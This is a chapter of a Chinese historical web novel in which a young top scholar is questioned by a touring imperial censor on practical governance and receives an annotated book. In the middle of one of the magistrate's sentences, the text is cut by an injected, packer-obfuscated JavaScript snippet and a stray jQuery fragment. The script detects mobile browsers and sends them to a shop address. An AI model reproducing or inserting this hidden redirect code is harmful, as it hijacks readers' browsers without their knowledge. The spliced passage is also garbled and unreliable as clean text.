消息传到县学时，林湛正在号舍里跟王砚之下棋。


    铁柱慌慌张张冲进来，差点被门槛绊个跟头：“湛、湛哥儿！不好了——不对，是大好了！也不对，是、是大事！”


    林湛捏着棋子，头也不抬：“铁柱哥，你喘匀了再说。是天塌了还是地陷了？”


    “比那还厉害！”铁柱抹了把汗，“县衙来人了！说是什么……省里来的巡按大人，路过咱们县，听说你是小三元，要、要召见你！”


    “啪嗒”。


    王砚之手里的棋子掉在棋盘上，骨碌碌滚到桌边。“省里巡按？”他看向林湛，神色有些紧张，“这可是从四品的监察官员，代天子巡狩州县，权重得很。怎么会突然……”


    周文渊原本在隔壁温书，闻声也过来了：“巡按召见？所为何事？”


    铁柱急道：“我哪知道啊！来传话的是县尊身边的李书办，就在院门外等着呢！说让湛哥儿赶紧收拾收拾，随他去驿馆见巡按大人！”


    林湛放下棋子，起身整了整衣襟。说不紧张是假的，但更多的是意外。“巡按路过，怎么知道我？”


    王砚之也站起来：“小三元的名头，在咱们府里也算独一份了。况且你那些策论文章，杨县尊恐怕没少在上峰面前提起。只是……”他压低声音，“这位巡按大人脾性如何、为何召见，咱们一概不知。林兄，应答务必谨慎。”


    周文渊想了想：“巡按监察吏治、巡查民情，召见本地才俊也是常事。林兄只需从容应对，问什么答什么便是。以林兄平日言行，当无大碍。”


    话虽这么说，他自己手心也有些汗。


    林湛点点头，深吸一口气：“走吧，别让李书办等急了。”


    驿馆在县城东头，离县学不远。一路上，李书办简单交代了几句：这位巡按姓赵，单名一个秉字，是都察院的监察御史，此番巡查江南数省，今日才到永清县。在听杨县尊汇报本县政务时，偶然问起今年童试，杨县尊便提了“小三元”林湛的名字。


    “赵大人听着似乎挺感兴趣，”李书办低声道，“就说要见见。林公子，这可是难得的机缘，但也得小心应对。这位赵大人听说……眼睛毒得很。”


    驿馆门口，两个穿着青色公服的差役守着。进了门，是个清静的小院，正中堂屋的门开着，隐约能看见里面坐着几个人。


    林湛在门外站定，理了理衣衫，朗声道：“学生林湛，奉召谒见巡按大人。”


    里面传来一个温和却有力的声音：“进来吧。”


    林湛跨过门槛。堂屋正中主位上，坐着一位约莫四十出头的中年官员，面容清癯，留着三缕短须，穿着青色圆领常服，头戴乌纱。他身侧下手坐着杨县尊，再旁边是个师爷模样的文士。


    林湛上前几步，躬身行礼：“学生林湛，见过巡按大人，见过县尊。”


    赵秉打量着他，目光平和却锐利：“不必多礼。抬起头来。”


    林湛直起身，目光微垂，落在赵秉胸前的补子上——那是白鹇的图案，五品文官。看来这位巡按大人日常穿着颇为简朴。


    “听说你今年县、府、院三试皆拔头筹，得了小三元？”赵秉端起茶盏，语气随意，像在闲聊。


    “学生侥幸。”


    “侥幸？”赵秉笑了笑，“本官看了你那几场的墨卷。县试的《民为贵》、府试的《钱谷论》、院试的《治水疏》，都不是侥幸能写出来的东西。尤其是那篇《治水疏》，‘防在未汛，疏在已涝，治在本源’，说得通透。你一个农家子，如何懂这些？”


    林湛心道来了。他早有准备，从容答道：“回大人，学生家中耕读，常听父老言及田亩水利之事。又读《禹贡》《河渠书》，两相印证，便有些粗浅想法。纸上谈兵，让大人见笑了。”


    “纸上谈兵？”赵秉放下茶盏，“杨县令说，你曾献策整顿常平仓，条陈具体，连仓粮如何轮换、账目如何稽核都想到了。这也是纸上谈兵？”


    杨县尊在一旁含笑不语。


    林湛忙道：“学生只是胡思乱想，不敢称‘献策’。”


    “胡思乱想能想到点子上，也不容易。”赵秉身子微微前倾，“本官一路南下，见了不少所谓才子，要么满口圣贤书却不通世事，要么汲汲功名只求捷径。你倒好，文章写得扎实，还琢磨这些钱谷仓廪的实务。说说，为何？”


    这个问题不好答。说大了显得狂妄，说小了显得虚伪。


    林湛想了想，诚恳道：“回大人，学生读圣贤书，见书中多言‘仁政’‘爱民’。可何为仁政？空谈仁义不能使饥者得食、寒者得衣。学生愚见，仁政需落到实处，落到一仓粮、一条渠、一本账上。故而学生愿学这些看似琐碎的实务，将来若有机缘，或可让书上道理，少些空悬。”


    堂内静了片刻。


    赵秉没说话，只是看着他。那目光像是要把他从里到外看透。良久，他忽然问：“你可知北地春旱？”


    “学生略有耳闻。”


    “若派你去旱区任一县令，你会如何做？”


    这问题来得突然，杨县尊都微微直了直身子。


    林湛沉吟几息，没有立刻回答那些“开仓放粮”“以工代赈”的套话，而是道：“学生若赴任，当先做三件事：一查仓，核实常平仓、义仓储粮实数与质量；二访老，请教本地乡老历年旱情规律、水源分布；三清账，理清县衙可动用钱粮、可征调民力。而后，方敢言救济之策。”


    赵秉眼中闪过一丝异色：“为何先做这些？”


    “无准确实情，则对策易空泛。不知仓中虚实，放粮可能无粮可放；不知地方实况，兴修可能劳民伤财；不知钱粮底数，承诺可能无法兑现。学生以为，为政首在‘实’字。”


    “好一个‘为政首在实’。”赵秉轻轻拍了下扶手，语气听不出喜怒，“这些话，谁教你的？”


    “无人教。学生只是觉得，做事该当如此。”


    赵秉靠回椅背，看向杨县尊：“你这县里，倒真出了个有意思的。”


    杨县尊笑道：“下官也觉此子与众


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190598|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不同。不唯文章好，平日与同窗论学，也常言‘学问当经世致用’。”


    “经世致用……”赵秉重复这四个字，点点头，“本官记住了。林湛。”


    “学生在。”


    “好好读书，但别读成书呆子。你方才说的那些，继续琢磨。朝廷将来需要的不只是会写文章的才子，更是能做实事的干才。”


    “学生谨记大人教诲。”


    赵秉挥挥手：“去吧。本官倦了。”


    林湛躬身退下。走到院门口，才觉背后衣衫微湿——刚才那番问答，看似随意，实则句句都是考较。


    他刚走出驿馆没多远，拐角处就冒出几个脑袋。王砚之、周文渊、沈千机，连铁柱都猫着腰躲在后面。


    “怎么样怎么样？”铁柱第一个冲过来，“那大官凶不凶？没为难你吧？”


    沈千机也凑近：“问什么了？有没有提旱灾粮价的事？”


    王砚之则稳重点：“林兄神色尚可，想必应对得当。”


    周文渊没说话，只看着林湛，等他说。


    林湛呼了口气，笑了：“没为难。就问了些平常问题。哦，还问若让我去旱区当县令怎么办。”


    “你怎么说？”几人异口同声。


    林湛把回答简单说了说。沈千机听完，一拍大腿：“妙啊！先摸清家底再说话，这比空口白话强多了！”


    王砚之沉吟：“巡按大人听后如何说？”


    “就说……让我别读成书呆子，继续琢磨这些实务。”


    几人都松了口气。周文渊忽然道：“这位赵大人，恐怕不简单。寻常官员召见才俊，多问文章经义，他却直问为政实务，且问题切中要害。这是真在选材，不是走个过场。”


    正说着，驿馆方向忽然传来些动静。几人回头望去，只见几个差役抬着两箱东西出来，后面跟着赵秉的那个师爷。


    师爷看见他们，竟走了过来，对林湛拱拱手：“林公子还未走远。我家大人让我送样东西给你。”


    说着，从袖中取出一本书，递了过来。


    林湛接过一看，是一本半旧的《州县提纲》，书页泛黄，但保存完好。翻开扉页，上面有一行朱笔小楷：“为政之道，在明实情、务实效。与湛生共勉。赵秉。”


    师爷低声道：“这是大人年轻时用的书，上面有他历年批注。大人说，送你正合适。”


    林湛郑重收好：“请代学生叩谢大人。”


    师爷点点头，又看了他们几人一眼，转身回去了。


    几人围过来看那书。王砚之轻声道：“这可是难得的机缘。巡按大人赠书，还是批注过的……”


    沈千机摸着下巴：“看来这位赵大人，是真看上林兄了？”


    周文渊则看着那行题字，若有所思：“‘在明实情、务实效’……这话，倒与林兄平日的想法不谋而合。”


    铁柱挠头：“所以这是好事对吧？不会惹麻烦吧？”


    林湛摩挲着书皮，笑了笑：“是好是坏，走着瞧吧。”